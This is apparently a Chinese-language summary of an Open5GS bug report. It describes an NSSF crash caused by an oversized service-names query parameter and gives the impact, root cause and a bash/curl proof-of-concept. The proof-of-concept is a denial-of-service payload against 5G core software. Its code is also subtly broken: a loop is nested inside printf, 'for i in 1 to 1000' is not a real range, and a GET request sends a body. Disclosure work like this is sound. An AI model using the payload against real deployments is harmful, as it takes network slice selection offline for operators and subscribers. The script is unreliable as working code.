# 漏洞总结 ## 漏洞概述 **标题**: [Bug]: NSSF crash on GET /nssf-nselection/v2/network-slice-information with oversized service-names #4435 **状态**: Open **严重程度**: 导致服务崩溃 (Crash) **触发条件**: 当 `service-names` 查询参数包含的项数超过 `OGS_SBI_MAX_NUM_OF_SERVICE_TYPE` 限制时,NSSF 进程会崩溃。 ## 影响范围 - **受影响组件**: Open5GS (v2.7.7) - **受影响模块**: NSSF (Network Slice Selection Function) - **影响**: NSSF 进程退出,导致服务不可用。 ## 修复方案 - **预期行为**: NSSF 应忽略不支持的查询参数,或者在输入 `service-names` 过大时返回正常的 HTTP 错误响应,而不是崩溃。 - **根本原因**: 解析器在处理 `service-names` 时未进行边界检查,导致断言失败 (`ogs_assert`)。 ## POC 代码 ```bash IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf) services=$(printf '%0d' \ for i in 1 to 1000; do services="$services,svc$i" done) curl -H 'Content-Type: application/json' -X GET \ "http://$IP/nssf-nselection/v2/network-slice-information" \ -d '{"slice-info-request-for-pdu-session":[{"snssai":{"sst":1,"sd":"000001"},"roamingIndication":"MON"}]}' \ --data-urlencode "service-names=$services" ```